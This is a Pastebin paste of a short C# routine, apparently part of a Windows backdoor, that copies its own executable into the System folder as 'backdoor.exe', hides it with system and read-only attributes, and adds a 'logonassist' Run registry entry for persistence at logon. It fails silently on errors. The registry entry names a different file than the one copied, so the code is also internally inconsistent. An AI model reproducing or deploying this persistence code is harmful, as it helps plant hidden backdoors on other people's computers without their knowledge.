Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //by:Mharcos Nesster Mh4x0f
- public static void Inciar_windows()
- {
- try{
- File.Copy(Convert.ToString(System.Reflection.Assembly.GetExecutingAssembly().Location), Convert.ToString(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe"), true);
- File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.Hidden);
- File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.System);
- File.SetAttributes(Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\backdoor.exe", FileAttributes.ReadOnly);
- Microsoft.Win32.RegistryKey k = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
- k.SetValue("logonassist", Environment.GetFolderPath(Environment.SpecialFolder.System) + "\\logonassistant.exe", Microsoft.Win32.RegistryValueKind.String);
- k.Close();
- }
- catch
- {
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement